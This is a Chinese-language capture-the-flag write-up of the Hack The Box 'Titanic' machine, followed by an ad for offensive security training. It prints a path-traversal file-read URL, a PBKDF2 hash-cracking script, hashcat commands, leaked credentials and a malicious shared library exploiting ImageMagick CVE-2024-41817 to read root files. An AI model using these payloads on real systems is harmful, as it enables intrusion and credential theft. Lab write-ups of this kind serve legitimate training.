Linux靶机,通过抓包实现LFI漏洞利用,ffuf扫描子域名拿到dev,访问得到gitea库,源码泄露路径及数据库信息,查找版本号默认配置路径,结合靶机实际环境拼接语句读取,下载数据库文件,利用sqlite3读取,拿到账号密码加密值,利用工具/脚本爆破即可,登录发现泄露的.sh文件,读取内容关键信息,利用版本号查找cve漏洞,修改利用方法读取root.txt
靶机信息
一、信息收集
-
靶机ip:10.10.11.55 -
攻击机ip:10.10.16.26
nmap扫描,发现有22和80端口,这里反向出了域名
设置域名解析
curl下载下来查看
服务名
Server: Werkzeug 3.0.3 Python 3.10.12
查找历史漏洞,无可用的
目录扫描
dirsearch扫描,扫出来很多jsp和swf文件
再使用Gobuster扫描一次
gobuster dir -u http://titanic.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 10
和上面的结果差不多
子域名爆破
执行以下命令
ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FFUZ -H "Host: FFUZ.titanic.htb" -u http://titanic.htb -fw 20
得到一个dev子域名
设置子域名域名解析
sudo sed -i '/10.10.11.55 titanic.htb/ s/$/ dev.titanic.htb/' /etc/hosts
二、边界突破
访问80页面,这里我的代理有点抽风,未能正常显示
访问子域名查看,一个gitea插件界面
回到最初的80界面,滑到最下面有一个,提交信息界面,输入提交然后抓包
提交之后会自动下载一个文件,是我们填入的信息
查看burp,有两个请求包,POST包,提示我们被重定向,给了一个路径和参数,ticket
查看GET包,存在参数,看样子应该是文件读取然后解析让我们下载,尝试文件包含
成功读取,并且发现一个用户具有bash,用户名:devloper,重点关注,接下来如果可以拿到其密码,就可以使用22端口ssh登录
这里想着根据htb平台靶机的特性,尝试直接读取user.txt,结果失败了,换一个路径即可成功读取,但是这不是我们的目的
http://titanic.htb/download?ticket=../../../../../../../home/developer/user.txt
重新回到dev子域名,注意这几个地方,先把版本号记录下来 1.22.1
先注册一个账号
发现两个源码仓库
先看docker-config,发现数据库信息
记录下来
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
查看配置文件,发现一个路径**/home/developer/gitea/data:/data**
查看app.py,发现LFI漏洞触发代码
查看配置文件,这里可以猜测一下了,首先给的配置文件是直接/etc起手,那么可以理解是在文件系统下的用户,可以在kali试一下,而我们需要的是读取该配置文件,首先就需要拼接路径,而我们之前拿到一个数据路径/home/developer/gitea/data,所以猜测一下
/home/developer/gitea/data/gitea/conf/app.ini
这里就不需要拼接/etc路径了,会报错,因为前面拼接的路径是在/gitea下的,读取数据直接读该目录下的即可
查看成功,发现数据库路径,根据返回内容,应该可以使用sqlite3
直接访问,但是太乱了
下载到本地
curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db --output gitea.db
查看,然后使用sqlite3连接
.tables查看所有表,发现一个表user,查看
也可以直接双击该数据库查看
信息如下,第三行是我们注册的信息,就不看了
1|administrator|administrator||[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0
查看信息,密码使用了pbkdf2¥50000¥50加密方式,这里hashcat跑有点慢,使用网上的脚本
import hashlib
import binascii
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
return hash_value
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
target_hash_bytes = binascii.unhexlify(target_hash)
with open(dictionary_file, 'r', encoding='utf-8') as file:
count = 0
for line in file:
password = line.strip()
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
count += 1
print(f"正在检查密码 {count}: {password}")
if hash_value == target_hash_bytes:
print(f"nFound password: {password}")
return password
print("Password not found.")
return None
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
最后得出密码为25282528,
hashcat
使用hashcat去跑,指定用户名
hashcat hash.txt -a 0 rockyou.txt --user
hash.txt
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
字段解释
-
developer:用户名 -
sha256:50000:sha256加密,迭代50000次 -
PjRSt4VE+L7pQA1pNtNA==:加密的salt值 -
最后面:加密的密码hex值
结果
三、权限提升
user.txt
ssh登录
拿到user.txt
root.txt
查看suid
查看网络监听,发现开着python
查看进程,存在开启的python文件
在scripts下发现一个文件identify_images.sh
查看文件,注意这个二进制文件**/usr/share/magick**,查看版本
利用版本号查找历史漏洞
查看利用方法
下载脚本,构造语句利用
python3 exploit.py -H 10.10.11.55 -p 22 -u developer -P 25282528 -d
存在漏洞
exp漏洞利用网站;https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
先尝试利用,发现可以执行id命令
修改代码把root.txt下载到靶机目录下并赋予权限读取
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /root/root.txt root.txt; chmod 754 root.txt");
exit(0);
}
EOF
执行查看
四、总结
-
LFI文件包含漏洞
-
Gitea源码信息泄露路径拼接获取信息
-
ImageMagick 任意代码执行 (CVE-2024-41817)
end
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
资料:
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,网恋避险工具,红盟工具等,还有很多src挖掘资料包
学习交流群
在公众号后台这里选择学习交流即可,如果图片二维码过期,可以加我微信获取
原文始发于微信公众号(泷羽Sec-track):【HTB】Titanic靶机渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论